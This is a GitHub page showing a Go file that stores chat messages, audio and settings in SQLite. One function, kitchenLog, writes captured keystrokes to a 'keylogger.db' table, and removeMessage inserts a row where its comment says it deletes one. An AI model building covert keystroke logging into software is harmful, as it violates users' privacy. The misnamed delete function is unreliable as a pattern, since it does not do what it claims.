-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathdbServe.go
348 lines (311 loc) · 8.09 KB
/
dbServe.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
package main
import (
"database/sql"
_ "github.com/mattn/go-sqlite3"
"log"
)
const (
MessagesDB = "DB/messages.db"
SettingsDB = "DB/settings.db"
KeyboardDB = "DB/keylogger.db"
)
// Message represents a message in the database
// GetMessages retrieves all messages from the database
func getMessages() ([]Message, error) {
// Open a connection to the database
db, err := sql.Open("sqlite3", MessagesDB)
if err != nil {
return nil, err
}
defer func(db *sql.DB) {
err := db.Close()
if err != nil {
log.Printf("Error closing database: %v", err)
}
}(db)
// Execute a SQL query to retrieve all messages
rows, err := db.Query("SELECT id, sender, content, media, created_at FROM messages ORDER BY created_at")
if err != nil {
return nil, err
}
defer func(rows *sql.Rows) {
err := rows.Close()
if err != nil {
log.Printf("Error closing rows: %v", err)
}
}(rows)
// Iterate over the result set and create a slice of Message structs
var messages []Message
for rows.Next() {
var m Message
if err := rows.Scan(&m.ID, &m.Sender, &m.Content, &m.Media, &m.CreatedAt); err != nil {
return nil, err
}
messages = append(messages, m)
log.Printf("Message: %v", m)
}
return messages, nil
}
// Get latest messages from database to chat
func getLastMessages() ([]Message, error) {
// Open a connection to the database
db, err := sql.Open("sqlite3", MessagesDB)
if err != nil {
return nil, err
}
defer func(db *sql.DB) {
err := db.Close()
if err != nil {
log.Printf("Error closing database: %v", err)
}
}(db)
// Execute a SQL query to retrieve all messages
rows, getLastMessageDB := db.Query("SELECT id, sender, content, media, created_at FROM messages " +
"WHERE media='Null' ORDER BY created_at LIMIT 5 ")
if getLastMessageDB != nil {
return nil, getLastMessageDB
}
defer func(rows *sql.Rows) {
err := rows.Close()
if err != nil {
log.Printf("Error closing rows: %v", err)
}
}(rows)
// Iterate over the result set and create a slice of Message structs
var messages []Message
for rows.Next() {
var m Message
if err := rows.Scan(&m.ID, &m.Sender, &m.Content, &m.Media, &m.CreatedAt); err != nil {
return nil, err
}
messages = append(messages, m)
log.Printf("Message: %v", m)
}
return messages, nil
}
// Get audio from database based on text content
func getAudio(content string) (string, error) {
// Open a connection to the database
db, err := sql.Open("sqlite3", MessagesDB)
if err != nil {
return "", err
}
defer func(db *sql.DB) {
err := db.Close()
if err != nil {
log.Printf("Error closing database: %v", err)
}
}(db)
// Execute a SQL query to retrieve all messages
rows, err := db.Query("SELECT audio FROM messages WHERE content = ?", content)
if err != nil {
return "", err
}
defer func(rows *sql.Rows) {
err := rows.Close()
if err != nil {
log.Printf("Error closing rows: %v", err)
}
}(rows)
// Iterate over the result set and create a slice of Message structs
var audio string
for rows.Next() {
if err := rows.Scan(&audio); err != nil {
return "", err
}
}
return audio, nil
}
func getImageDB(content string) (string, error) {
db, err := sql.Open("sqlite3", MessagesDB)
if err != nil {
return "", err
}
defer func(db *sql.DB) {
err := db.Close()
if err != nil {
log.Printf("Error closing database: %v", err)
}
}(db)
// Execute a SQL query to retrieve all messages
rows, err := db.Query("SELECT content FROM messages WHERE content = ?", content)
if err != nil {
return "", err
}
defer func(rows *sql.Rows) {
err := rows.Close()
if err != nil {
log.Printf("Error closing rows: %v", err)
}
}(rows)
// Iterate over the result set and create a slice of Message structs
var audio string
for rows.Next() {
if err := rows.Scan(&audio); err != nil {
return "", err
}
}
return audio, nil
}
func kitchenLog(keylogger string) {
//Store the keylogger in a file
db, err := sql.Open("sqlite3", KeyboardDB)
if err != nil {
log.Printf("Error opening database: %v", err)
}
defer func(db *sql.DB) {
err := db.Close()
if err != nil {
log.Println(err)
}
}(db)
// Insert the keylogger into the database
_, err = db.Exec("INSERT INTO keystrokes (textStuff) VALUES (?)", keylogger)
if err != nil {
log.Printf("Error inserting into database: %v", err)
}
}
// addMessage adds a message to the database
func addMessage(sender string, content string) error {
// Open a connection to the database
db, err := sql.Open("sqlite3", MessagesDB)
if err != nil {
return err
}
defer func(db *sql.DB) {
err := db.Close()
if err != nil {
log.Printf("Error closing database: %v", err)
}
}(db)
// Prepare a SQL statement to insert the message into the database
stmt, err := db.Prepare("INSERT INTO messages (sender, content) VALUES (?, ?)")
if err != nil {
return err
}
defer func(stmt *sql.Stmt) {
err := stmt.Close()
if err != nil {
log.Printf("Error closing statement: %v", err)
}
}(stmt)
// Execute the prepared statement with the message as parameters
_, err = stmt.Exec(sender, content)
if err != nil {
return err
}
return nil
}
// Add Messages With Media
func addMessageWithMedia(sender string, content string, audio string, media string) error {
// Open a connection to the database
db, err := sql.Open("sqlite3", MessagesDB)
if err != nil {
return err
}
defer func(db *sql.DB) {
err := db.Close()
if err != nil {
log.Printf("Error closing database: %v", err)
}
}(db)
// Prepare a SQL statement to insert the message into the database
stmt, err := db.Prepare("INSERT INTO messages (sender, content, audio, media) VALUES (?, ?, ?, ?)")
if err != nil {
return err
}
defer func(stmt *sql.Stmt) {
err := stmt.Close()
if err != nil {
log.Printf("Error closing statement: %v", err)
}
}(stmt)
// Execute the prepared statement with the message as parameters
_, err = stmt.Exec(sender, content, audio, media)
if err != nil {
return err
}
return nil
}
// enable/disable audio
func enableAudio(key bool) {
db, err := sql.Open("sqlite3", SettingsDB)
if err != nil {
log.Printf("Error opening database: %v", err)
}
defer func(db *sql.DB) {
err := db.Close()
if err != nil {
log.Println(err)
}
}(db)
// Update settings in the database to enable audio
_, err = db.Exec("UPDATE settings SET audioOnly = ? WHERE id = 1", key)
if err != nil {
log.Printf("Error updating database: %v", err)
}
}
// TODO:: (USE THIS SETTING) Select last setting from database and return it for audioOnly
func getAudioSettings() bool {
// Open a connection to the database
db, err := sql.Open("sqlite3", SettingsDB)
if err != nil {
log.Printf("Error opening database: %v", err)
return true
}
defer func(db *sql.DB) {
err := db.Close()
if err != nil {
log.Printf("Error closing database: %v", err)
}
}(db)
//Select all settings from database and return the last one (should be the only one)
rows, err := db.Query("SELECT audioOnly FROM settings ORDER BY id DESC LIMIT 1")
if err != nil {
log.Printf("Error selecting from database: %v", err)
}
defer func(rows *sql.Rows) {
err := rows.Close()
if err != nil {
log.Printf("Error closing rows: %v", err)
}
}(rows)
var audio bool
for rows.Next() {
if err := rows.Scan(&audio); err != nil {
log.Printf("Error scanning row: %v", err)
}
}
return audio
}
// TODO:: Function to delete messages from database or just change the content to "Message Deleted"
func removeMessage(sender string, content string) error {
// Open a connection to the database
db, err := sql.Open("sqlite3", MessagesDB)
if err != nil {
return err
}
defer func(db *sql.DB) {
err := db.Close()
if err != nil {
log.Printf("Error closing database: %v", err)
}
}(db)
// Prepare a SQL statement to insert the message into the database
stmt, err := db.Prepare("INSERT INTO messages (sender, content) VALUES (?, ?)")
if err != nil {
return err
}
defer func(stmt *sql.Stmt) {
err := stmt.Close()
if err != nil {
log.Printf("Error closing statement: %v", err)
}
}(stmt)
// Execute the prepared statement with the message as parameters
_, err = stmt.Exec(sender, content)
if err != nil {
return err
}
return nil
}